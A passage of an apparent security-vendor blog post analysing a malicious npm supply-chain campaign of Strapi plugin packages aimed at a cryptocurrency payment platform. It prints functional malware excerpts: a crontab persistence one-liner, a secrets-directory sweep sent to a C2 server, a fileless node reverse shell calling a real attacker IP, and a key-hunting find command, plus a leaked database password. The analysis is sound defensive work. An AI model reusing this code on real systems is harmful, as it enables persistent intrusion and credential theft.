The names guardarian, guardarian_payments, exchange, and custody leave no doubt about the target. The attacker is betting that the Strapi database user has cross-database access to the payment platform’s core financial databases — a common misconfiguration when multiple services share a PostgreSQL instance.

PostgreSQL role enumeration. The script also dumps all database roles and their privileges:

// package/postinstall.js (strapi-plugin-seed)
var roles = await db.raw('SELECT rolname, rolsuper, rolcanlogin FROM pg_roles');
await post('/db/' + ID + '/pg-roles', JSON.stringify(roles.rows));

This reveals whether user_strapi has superuser access and what other accounts exist on the server.

C2 polling loop. Like Payload 5, this payload includes a 60-round polling C2 loop (5 minutes), using the /db/<id>/ path namespace with session IDs prefixed db-.

Payload 7: Hostname-Gated Persistent Implant ([email protected])

[email protected] was published ~8 hours after the first batch, under a second npm account (kekylf12 <[email protected]>). It represents a significant evolution — this is no longer a grab-and-go credential harvester but a persistent implant designed to survive beyond the postinstall window.

Hostname gating. The script exits immediately unless the hostname matches a specific value:

// package/postinstall.js ([email protected])
var hn = cp.execSync('hostname', { encoding: 'utf8' }).trim();
if (hn !== 'prod-strapi') process.exit(0);

This means the attacker knows their target’s production hostname. The package will silently do nothing on any other machine — developer workstations, CI runners with different hostnames, or staging environments all get a clean exit.

Persistent C2 script. Instead of running the C2 loop inline (which dies when postinstall completes), the script writes a standalone C2 agent to disk:

// package/postinstall.js ([email protected])
fs.writeFileSync('/tmp/.node_gc.js', c2script);
var child = cp.spawn('node', ['/tmp/.node_gc.js'], {
detached: true,
stdio: 'ignore',
env: process.env,
});
child.unref();

The file is named .node_gc.js — a dotfile that blends in with Node.js runtime files. The detached: true and child.unref() calls ensure the process continues running after the parent exits. The C2 agent inside polls /shell/poll every 3 seconds (faster than Payload 5’s 5 seconds) and sends command output to /shell/result.

Crontab persistence. The script installs a crontab entry that restarts the C2 agent if it gets killed:

// package/postinstall.js ([email protected])
cp.execSync(
'(crontab -l 2>/dev/null; echo "* * * * * pgrep -f node_gc || node /tmp/.node_gc.js &") | sort -u | crontab -',
{ timeout: 5000 }
);

This runs every minute: if no process matching node_gc is found, it restarts the agent. The sort -u pipe deduplicates the entry across multiple installs.

No credential harvesting. Unlike the earlier payloads, this variant does not steal .env files, Redis data, or private keys. It is a pure access-maintenance tool — the attacker either already has credentials or plans to harvest them interactively through the C2 channel.

Payload 8: Fileless Reverse Shell + Targeted Credential Theft ([email protected])

Published ~3 hours after v3.6.8, [email protected] is the final and most evolved payload in the campaign. It combines targeted credential theft with a fileless persistence mechanism and reveals specific details about the attacker’s intended victim.

Targeted environment paths. The hardcoded paths reveal the target’s infrastructure:

// package/postinstall.js ([email protected])
// Read .env from build context (copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env)
var envPaths = [
'.env',
'../.env',
'../../.env',
'/app/.env',
'/opt/secrets/strapi-green.env',
'/opt/secrets/.env',
'/var/www/nowguardarian-strapi/.env',
'/var/www/nowguardarian-strapi/nowguardarian-strapi.env',
];

The comment referencing Jenkins and the path /opt/secrets/strapi-green.env indicate the attacker has knowledge of the target’s CI/CD pipeline. The path /var/www/nowguardarian-strapi/ references what appears to be a Strapi deployment associated with “Guardarian” — a cryptocurrency payment gateway. This is consistent with the wallet file theft in Payload 5, the direct Guardarian database probing in Payload 6, the HOT_WALLET/COLD_WALLET search in Payload 2, and the Guardarian API module exfiltration in Payload 1 — confirming that cryptocurrency theft was the campaign’s objective from the start.

Broad secrets directory sweep. The script reads every file in /opt/secrets/ and every .env file under /var/www/*/:

// package/postinstall.js ([email protected])
// Read ALL .env files in /opt/secrets/
try {
var files = fs.readdirSync('/opt/secrets/');
for (var i = 0; i < files.length; i++) {
try {
var c = fs.readFileSync('/opt/secrets/' + files[i], 'utf8');
await p(
'/build/' + ID + '/secret',
JSON.stringify({ path: '/opt/secrets/' + files[i], content: c.slice(0, 50000) })
);
} catch (e) {}
}
} catch (e) {}

Environment variable filtering. Unlike Payload 5’s raw env dump, this version filters out npm_-prefixed variables to reduce noise:

// package/postinstall.js ([email protected])
var env = {};
for (var k in process.env) if (!/^npm_/.test(k)) env[k] = process.env[k];
await p('/build/' + ID + '/proc-env', env);

Fileless persistent reverse shell. The most significant evolution: instead of writing a file to /tmp/ (detectable by filesystem monitoring), the script spawns a detached node -e process with the entire C2 agent passed as an inline string:

// package/postinstall.js ([email protected])
var child = cp.spawn(
'node',
[
'-e',
'var h=require("http"),e=require("child_process").execSync;function poll(){' +
'h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/poll",method:"POST",' +
'headers:{"Content-Type":"text/plain","Content-Length":2}},function(r){' +
'var d="";r.on("data",function(c){d+=c});r.on("end",function(){' +
'if(d&&d.trim()&&d.trim()!="nop"){try{var o=e(d.trim(),{timeout:30000,encoding:"utf8",maxBuffer:5e6});' +
'var rq=h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/result",method:"POST",' +
'headers:{"Content-Type":"text/plain","Content-Length":Buffer.byteLength(o)}});rq.write(o);rq.end()' +
'}catch(x){}}setTimeout(poll,3000)})}).on("error",function(){setTimeout(poll,10000)}).end("{}");}poll();',
],
{ detached: true, stdio: 'ignore' }
);
child.unref();

No file is written to disk. The C2 agent exists only as a running process, making it invisible to file-based detection tools. It polls /bshell/poll (a new path, distinct from both Payload 5’s /c2/ and Payload 7’s /shell/ namespaces), suggesting the attacker tracks victims by payload variant on the server side.

No crontab persistence. Unlike Payload 7, this version does not install a crontab entry — the attacker traded restart survival for detection evasion. The C2 path prefix changed from /c2/ to /build/ for the beacon phase, further suggesting the attacker is compartmentalizing C2 traffic by source.

Payload Evolution Timeline

The eight payloads show a clear narrative: the attacker started aggressive (Redis RCE, Docker escape), found those approaches weren’t working, pivoted to reconnaissance and data collection, used hardcoded credentials for direct database access, and finally settled on persistent access with targeted credential theft.

AspectP1 (cron)P2 (config)P3 (4 pkgs)P4 (monitor)P5 (events)P6 (seed)P7 ([email protected])P8 ([email protected])
Primary goalRedis RCEContainer escapeGet a shellReconFull reconDB theftPersistent accessTargeted theft + access
Target gatingTRANSFER checkTRANSFER checkTRANSFER check + hostname.includes('prod')win32 checkwin32 checkwin32 checkhostname === 'prod-strapi'win32 check
Redis abuseCONFIG SET to crontab, webshell, SSH keysCONFIG SET to overlay, /tmp, /dev/shm, node_modulesCONFIG SET to /tmp, execute resultRead-only (INFO, KEYS)Read-only (INFO, DBSIZE, KEYS)NoneNoneNone
Database accessNoneNoneNoneNoneNoneDirect PostgreSQL with hardcoded credsNoneNone
Reverse shellsNone (via Redis crontab)Python (:4444)Bash (:4444), Python (:8888), curlNoneNoneNonePersistent detachedFileless detached
Disk accessdd + mknoddd + mknod (expanded)NoneNoneNoneNoneNoneNone
Credential theftGuardarian API moduleWallet/ES creds from raw diskNone8-phase recon11-phase reconDB dump + cross-DB enumNoneTargeted paths + /opt/secrets
C2 lifetimeSingle exfilSingle exfilSingle exfil~2.5 min polling~5 min polling~5 min pollingIndefinite (crontab)Indefinite (fileless)
Exfil prefix/exfil/cr-/exfil/cf-/exfil/sv-/c2/<id>//c2/<id>//db/<id>//shell//build/<id>/ + /bshell/

Dynamic Analysis

Our Dynamic Analysis pipeline flagged strapi-plugin-events with two signals: Stage-9 secret gathering via a find command and Stage-11 C2 communication.

The following command was captured:

Terminal window
find / -maxdepth 4 ( -name *.pem -o -name *.key -o -name id_rsa* -o -name wallet* -o -name *private* -o -name *secret* ) ! -path */ssl/certs/* ! -path */node_modules/* -type f

The following are the outbound network connections recorded:

strapi-plugin-events-ip-aggr.csv
idcreated_atanalysis_idip_addressport
1134189554April 3, 2026, 4:00 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
2134189535April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
3134189498April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
4134189441April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
5134189440April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
6134189391April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
7134189363April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
8134189322April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
9134189297April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
10134189268April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
11134189237April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
12134189224April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
13134189223April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
14134189222April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
15134189207April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
16134189206April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
17134189205April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
18134189190April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
19134189183April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
20134189170April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
21134189169April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
22134189168April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
23134189167April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
24134189166April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
25134189165April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.34443
26134189164April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.34443
27134189163April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.6.340
28134189162April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.4.340
29134189161April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.0.340
30134189160April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.11.340
31134189159April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.3.340
32134189158April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.10.340
33134189157April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.7.340
34134189156April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.9.340
35134189155April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.8.340
36134189154April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.1.340
37134189153April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.5.340
38134189152April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.340
38 rows
| 5 columns

The sandbox recorded 24 outbound connections to 144.31.107.231:9999 — the hardcoded C2 server — spanning the full postinstall execution window (beacon through polling loop). The 104.16.x.34 entries are Cloudflare IPs contacted during npm package resolution.

Notable Characteristics

The campaign is specifically engineered for Strapi CMS deployments:

  • All ten package names follow the strapi-plugin-* naming convention
  • File paths target Strapi’s configuration directory layout (/app/config/database.js, /app/config/plugins.js)
  • Environment variable paths target common Strapi Docker image conventions (/home/strapi/.env, /app/.env)
  • Redis exploitation targets the default local instance commonly used as Strapi’s cache backend
  • All packages skip Windows hosts, focusing exclusively on Linux servers and containers

The campaign shows signs of targeted intrusion against a specific cryptocurrency platform:

  • Payload 1 exfiltrates a Guardarian API module from /app/exteranl-apis (typo matching the target’s actual directory name)
  • Payload 2 searches raw disk for HOT_WALLET, COLD_WALLET, DEPOSIT_ADDRESS, and MNEMONIC
  • Payload 3 gates on hostname.includes('prod'), indicating knowledge of the target’s naming convention
  • Payload 6 connects to PostgreSQL using hardcoded credentials and explicitly probes for databases named guardarian, guardarian_payments, exchange, custody
  • Payload 7 gates on hostname === 'prod-strapi', indicating exact knowledge of the production hostname
  • Payload 8 references /var/www/nowguardarian-strapi/ and /opt/secrets/strapi-green.env
  • A code comment in Payload 8 references Jenkins: // copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env
  • The use of a second npm account (kekylf12) for the targeted variants suggests operational compartmentalization

No obfuscation is used in any of the ten packages. The source code is readable JavaScript, suggesting the attacker prioritized speed of development over stealth. The entire eight-payload evolution — from Redis RCE to fileless persistence — happened within a single 13-hour session.

Conclusion

This campaign is a rare window into an attacker’s real-time development process. Over 13 hours, the operator published ten packages with eight distinct payloads, each iteration responding to what was likely working (or not) against their target:

  1. Hours 0–1 (Payloads 1–2): Aggressive Redis RCE exploitation — crontab injection, webshell writes, SSH key injection, Docker overlay escape, raw disk reads. These techniques would be devastating against an unprotected Redis instance but require CONFIG SET to be enabled (it’s disabled by default in Redis 6+).
  2. Hours 1–2 (Payload 3, published 4x): Simplified direct reverse shells — the attacker abandons Redis exploitation for straightforward bash and Python shells, suggesting the Redis approaches failed.
  3. Hour 2 (Payloads 4–5): Pivot to reconnaissance — instead of trying to get a shell, the attacker collects credentials, environment variables, and secrets for later use.
  4. Hour 3 (Payload 6): Direct database exploitation — the attacker uses hardcoded PostgreSQL credentials to dump Strapi data, enumerate all databases on the server, and probe for Guardarian payment and custody databases. The presence of real credentials (user_strapi / 1QKtYPp18UsyU2ZwInVM) confirms prior access to the target.
  5. Hours 10–13 (Payloads 7–8): Targeted persistent access — the attacker switches to a second npm account and deploys persistent implants with specific knowledge of the target’s hostname, CI pipeline, and secrets directory layout.

The Guardarian references appear from Payload 1 onward (/app/exteranl-apis, HOT_WALLET, COLD_WALLET, MNEMONIC, guardarian_payments, /var/www/nowguardarian-strapi/), confirming that this was a targeted campaign against a cryptocurrency payment platform from the very beginning — not an opportunistic spray that became targeted over time. The hardcoded database password in Payload 6 proves this is not the attacker’s first interaction with the target’s infrastructure.

If you installed any of these ten packages, assume full compromise. Rotate all credentials accessible from the affected host, including database passwords, API keys, JWT secrets, and any private keys found on the filesystem. The PostgreSQL password 1QKtYPp18UsyU2ZwInVM must be rotated immediately if it is in use anywhere. Revoke any Kubernetes service account tokens that may have been exposed. Check for persistence mechanisms: remove /tmp/.node_gc.js, /tmp/vps_shell.sh, /tmp/redis_exec.sh, and /app/public/uploads/shell.php; audit crontab entries for node_gc or curl references; audit Redis with CONFIG GET dir to verify it hasn’t been reconfigured; and kill any orphaned node -e processes connecting to 144.31.107.231.

Use tools like vet to scan your dependency tree for malicious packages before they reach production, and pmg to block malicious packages at install time.

  • vet
  • malware
  • supply-chain-security
  • npm
  • credential-theft
  • c2
  • targeted-attack
  • persistence
  • redis-rce

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App